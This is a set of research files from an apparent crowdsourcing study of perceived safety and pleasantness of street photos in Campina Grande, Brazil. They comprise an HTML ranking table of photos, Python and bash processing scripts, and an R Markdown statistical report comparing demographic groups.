<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_180.jpg 4.31069452967</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_180.jpg 4.24920964377</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_315.jpg 4.21377712126</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_293.jpg 4.20836840724</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_203.jpg 4.17663786207</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_203.jpg 4.09021237118</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_22.jpg 4.05285252757</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_22.jpg 4.05269439431</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_203.jpg 4.02782531628</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_293.jpg 4.0275194758</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_22.jpg 4.02694201804</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_203.jpg 4.00235042132</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_315.jpg 3.97980774881</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg 3.97236582657</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_293.jpg 3.96491250408</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_22.jpg 3.89758502698</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_135.jpg 3.85503620164</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_203.jpg 3.84369332258</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_270.jpg 3.8263863949</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_225.jpg 3.79761819264</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_270.jpg 3.71494858763</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_203.jpg 3.70002596052</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_135.jpg 3.69792938581</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_22.jpg 3.6955935317</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_203.jpg 3.63441910117</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_315.jpg 3.5753783186</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_135.jpg 3.55251218503</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_22.jpg 3.53381845447</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_135.jpg 3.49446665576</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_315.jpg 3.47833211695</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_203.jpg 3.43251444468</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_22.jpg 3.42032819449</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_315.jpg 3.39751272647</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_22.jpg 3.33318476909</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_315.jpg 3.23030236913</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_225.jpg 3.22306201775</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_112.jpg 3.20060548925</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_22.jpg 3.16134861896</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_135.jpg 3.07226263253</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_203.jpg 2.96896379513</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_135.jpg 2.5336111162</td>
</tr>
<tr>
</tr>
</table><h2>seguro?</h2><table>
<tr>
</tr>
</table></body>
<file_sep>mapa = {}
for line in lines[1:]:
dados = line.split(",")
cont = 0
if mapa.has_key(dados[1].strip()):
cont = mapa[dados[1].strip()]
cont2 = 0
if mapa.has_key(dados[2].strip()):
cont2 = mapa[dados[2].strip()]
cont = cont + 1
cont2 = cont2 + 1
mapa[dados[1].strip()] = cont
mapa[dados[2].strip()] = cont2
<file_sep>#!/bin/bash
for i in $(seq 0 499); do
file="/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet16/backupBanco/ranking_predictions/run_80_${i}.csv"
python3 perform_crowdbt_campina.py $file /local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet16/backupBanco/tasksDef.csv ranking 1
mv allPairwiseComparison.dat /local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet16/usuarios/gavel/ranking_predictions/all_crowdbt_80-lam01-gam01_${i}.dat
done
<file_sep>---
title: "IC por Ponto, KrippAlpha e Kendall"
output: pdf_document
---
# Intervalos de Confiança por Ponto Geográfico Analisado
## Solteiros x Casados
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('analisaICPorFoto.R')
library(ggplot2)
file1 <- "allSolteiroOrdInter.dat"
file2 <- "allCasadoOrdInter.dat"
type1 <- "solteiro"
type2 <- "casado"
analyseIC(file1, file2, type1, type2, shouldPlot=TRUE)
ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Centro")
ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Liberdade")
ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Catolé")
```
## Baixa x Media
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "allBaixaOrdInter.dat"
file2 <- "allMediaOrdInter.dat"
type1 <- "baixa"
type2 <- "media"
analyseIC(file1, file2, type1, type2, shouldPlot=TRUE)
ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Centro")
ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Liberdade")
ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Catolé")
```
## Feminino x Masculino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "allFemininoOrdInter.dat"
file2 <- "allMasculinoOrdInter.dat"
type1 <- "feminino"
type2 <- "masculino"
analyseIC(file1, file2, type1, type2, shouldPlot=TRUE)
ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Centro")
ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Liberdade")
ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Catolé")
```
## Jovem x Adulto
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "allJovemOrdInter.dat"
file2 <- "allAdultoOrdInter.dat"
type1 <- "jovem"
type2 <- "adulto"
analyseIC(file1, file2, type1, type2, shouldPlot=TRUE)
ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Centro")
ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Liberdade")
ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Location") + ylab("QScore") + ggtitle("Catolé")
```
## Medio x Pos
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "allMedioOrdInter.dat"
file2 <- "allPosOrdInter.dat"
type1 <- "medio"
type2 <- "pos"
facet_names <- list(
'agrad%C3%A1vel?'="Agradável",
'seguro?'="Seguro"
)
facet_labeller <- function(variable,value){
return(facet_names[value])
}
analyseIC(file1, file2, type1, type2, shouldPlot=TRUE)
ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE, labeller=facet_labeller) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_colour_discrete(name="Grupo", breaks=c("medio", "pos"), labels=c("Menor educ.", "Maior educ."))
ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade")+ scale_colour_discrete(name="Grupo", breaks=c("medio", "pos"), labels=c("Menor educ.", "Maior educ."))
ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_colour_discrete(name="Grupo", breaks=c("medio", "pos"), labels=c("Menor educ.", "Maior educ."))
```
# Krippendorf
## Geral
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('krippMoran.R')
file1 <- "consense100/consenseMatrixAgra.dat"
file2 <- "consense100/consenseMatrixSeg.dat"
krippAlpha(file1, file2)
```
## Adulto
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraAdulto.dat"
file2 <- "consense100/consenseMatrixSegAdulto.dat"
krippAlpha(file1, file2)
```
## Jovem
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraJovem.dat"
file2 <- "consense100/consenseMatrixSegJovem.dat"
krippAlpha(file1, file2)
```
## Baixa
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraBaixa.dat"
file2 <- "consense100/consenseMatrixSegBaixa.dat"
krippAlpha(file1, file2)
```
## Media
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraMedia.dat"
file2 <- "consense100/consenseMatrixSegMedia.dat"
krippAlpha(file1, file2)
```
## Feminino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraFeminino.dat"
file2 <- "consense100/consenseMatrixSegFeminino.dat"
krippAlpha(file1, file2)
```
## Masculino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraMasculino.dat"
file2 <- "consense100/consenseMatrixSegMasculino.dat"
krippAlpha(file1, file2)
```
## Solteiro
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraSolteiro.dat"
file2 <- "consense100/consenseMatrixSegSolteiro.dat"
krippAlpha(file1, file2)
```
## Casado
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraCasado.dat"
file2 <- "consense100/consenseMatrixSegCasado.dat"
krippAlpha(file1, file2)
```
## Medio
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraMedio.dat"
file2 <- "consense100/consenseMatrixSegMedio.dat"
krippAlpha(file1, file2)
```
## Pos
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "consense100/consenseMatrixAgraPos.dat"
file2 <- "consense100/consenseMatrixSegPos.dat"
krippAlpha(file1, file2)
```
# Kendall
## Geral
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('kendallDistance.R')
file1 <- "kendall100/agradGeralAll.dat"
file2 <- "kendall100/segGeralAll.dat"
normalizedKendallTauDistance(file1, file2)
```
## Casado x Solteiro
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllCasado.dat"
file2 <- "kendall100/kendallAgradAllSolteiro.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllCasado.dat"
file2 <- "kendall100/kendallSegAllSolteiro.dat"
normalizedKendallTauDistance(file1, file2)
```
## Casado x Geral e Solteiro x Geral
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllCasado.dat"
file2 <- "kendall100/kendallAgradAllGeralCasado.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallAgradAllSolteiro.dat"
file2 <- "kendall100/kendallAgradAllGeralCasado.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllCasado.dat"
file2 <- "kendall100/kendallSegAllGeralCasado.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallSegAllSolteiro.dat"
file2 <- "kendall100/kendallSegAllGeralCasado.dat"
normalizedKendallTauDistance(file1, file2)
```
## Baixa x Media
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllBaixa.dat"
file2 <- "kendall100/kendallAgradAllMedia.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllBaixa.dat"
file2 <- "kendall100/kendallSegAllMedia.dat"
normalizedKendallTauDistance(file1, file2)
```
## Baixa x Geral e Media x Geral
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllBaixa.dat"
file2 <- "kendall100/kendallAgradAllGeralBaixa.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallAgradAllMedia.dat"
file2 <- "kendall100/kendallAgradAllGeralBaixa.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllBaixa.dat"
file2 <- "kendall100/kendallSegAllGeralBaixa.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallSegAllMedia.dat"
file2 <- "kendall100/kendallSegAllGeralBaixa.dat"
normalizedKendallTauDistance(file1, file2)
```
## Feminino x Masculino
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllFeminino.dat"
file2 <- "kendall100/kendallAgradAllMasculino.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllFeminino.dat"
file2 <- "kendall100/kendallSegAllMasculino.dat"
normalizedKendallTauDistance(file1, file2)
rank1Parc <- rank1[,c("V2","V3")]
rank1Parc$tipo <- "Feminino"
rank1Parc$posicao <- 1:104
rank2Parc <- rank2[,c("V2","V3")]
rank2Parc$tipo <- "Masculino"
rank2Parc$posicao <- 1:104
rankTotal <- merge(rank1Parc, rank2Parc, by="V2")
ggplot(rankTotal, aes(y=posicao.y, x=posicao.x, colour="red")) + geom_point() + ggtitle("Diferenças de posições entre fotos") + theme_bw()+ xlab("Posição no ranking Feminino") + ylab("Posição no ranking Masculino")+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(rankTotal, aes(y=posicao.y-posicao.x, x=posicao.x, colour="red")) + geom_point() + ggtitle("") + theme_bw()+ xlab("Posição no Ranking Feminino") + ylab("Posição Masculino - Posição Feminino")+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))+ scale_x_continuous(breaks=seq(1,104, 9))+ theme(legend.position="none")
```
## Feminino x Geral e Masculino x Geral
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllFeminino.dat"
file2 <- "kendall100/kendallAgradAllGeralFeminino.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallAgradAllMasculino.dat"
file2 <- "kendall100/kendallAgradAllGeralFeminino.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllFeminino.dat"
file2 <- "kendall100/kendallSegAllGeralFeminino.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallSegAllMasculino.dat"
file2 <- "kendall100/kendallSegAllGeralFeminino.dat"
normalizedKendallTauDistance(file1, file2)
```
## Jovem x Adulto
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllJovem.dat"
file2 <- "kendall100/kendallAgradAllAdulto.dat"
normalizedKendallTauDistance(file1, file2)
rank1Parc <- rank1[,c("V2","V3")]
rank1Parc$tipo <- "Jovem"
rank1Parc$posicao <- 1:103
rank2Parc <- rank2[,c("V2","V3")]
rank2Parc$tipo <- "Adulto"
rank2Parc$posicao <- 1:103
rankTotal <- merge(rank1Parc, rank2Parc, by="V2")
ggplot(rankTotal, aes(y=posicao.y, x=posicao.x, colour="red")) + geom_point() + ggtitle("Diferenças de posições entre fotos") + theme_bw()+ xlab("Posição no ranking Jovem") + ylab("Posição no ranking Adulto")+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(rankTotal, aes(y=posicao.y-posicao.x, x=posicao.x, colour="red")) + geom_point() + ggtitle("") + theme_bw()+ xlab("Posição no Ranking Jovem") + ylab("Posição Adulto - Posição Jovem")+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))+ scale_x_continuous(breaks=seq(1,104, 9))+ theme(legend.position="none")
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllJovem24.dat"
file2 <- "kendall100/kendallSegAllAdulto25.dat"
normalizedKendallTauDistance(file1, file2)
```
## Jovem x Geral e Adulto x Geral
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllJovem.dat"
file2 <- "kendall100/kendallAgradAllGeralJovem.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallAgradAllAdulto.dat"
file2 <- "kendall100/kendallAgradAllGeralJovem.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllJovem.dat"
file2 <- "kendall100/kendallSegAllGeralJovem.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallSegAllAdulto.dat"
file2 <- "kendall100/kendallSegAllGeralJovem.dat"
normalizedKendallTauDistance(file1, file2)
```
## Medio x Pos
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllMedio.dat"
file2 <- "kendall100/kendallAgradAllPos.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllMedio.dat"
file2 <- "kendall100/kendallSegAllPos.dat"
normalizedKendallTauDistance(file1, file2)
```
## Medio x Geral e Pos x Geral
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllMedio.dat"
file2 <- "kendall100/kendallAgradAllGeralMedio.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallAgradAllPos.dat"
file2 <- "kendall100/kendallAgradAllGeralMedio.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllMedio.dat"
file2 <- "kendall100/kendallSegAllGeralMedio.dat"
normalizedKendallTauDistance(file1, file2)
file1 <- "kendall100/kendallSegAllPos.dat"
file2 <- "kendall100/kendallSegAllGeralMedio.dat"
normalizedKendallTauDistance(file1, file2)
```
## Centro x Not Centro
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllCentro.dat"
file2 <- "kendall100/kendallAgradAllNotCentro.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllCentro.dat"
file2 <- "kendall100/kendallSegAllNotCentro.dat"
normalizedKendallTauDistance(file1, file2)
```
## Catole x Not Catole
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgradAllCatole.dat"
file2 <- "kendall100/kendallAgradAllNotCatole.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllCatole.dat"
file2 <- "kendall100/kendallSegAllNotCatole.dat"
normalizedKendallTauDistance(file1, file2)
```
## Liberdade x Not Liberdade
### Agradável
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallAgraAllLiberdade.dat"
file2 <- "kendall100/kendallAgraAllNotLiberdade.dat"
normalizedKendallTauDistance(file1, file2)
```
### Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=4}
file1 <- "kendall100/kendallSegAllLiberdade.dat"
file2 <- "kendall100/kendallSegAllNotLiberdade.dat"
normalizedKendallTauDistance(file1, file2)
```
<file_sep># coding=utf-8
#Converte a entrada de execução de tarefas do QScore no formato de análise do MaxDiff
import sys
import random
from sets import Set
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
def convertToMaxDiff(inputFile):
dataFile = open(inputFile, 'r')
lines = dataFile.readlines()
allPhotos = set([])
#Reading answers from task-run processed file
for line in lines:
lineData = line.split("+")
userID = lineData[4]
userAnswer = lineData[9].strip(' \t\n\r"')
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
allPhotos.add(photo1)
allPhotos.add(photo2)
#Saving votes from task-run
votes[question][photo1][photo2].add(answer)
allPhotosList = list(allPhotos)
allPhotosList.sort()
#print str(len(allPhotosList))
#Output files per question
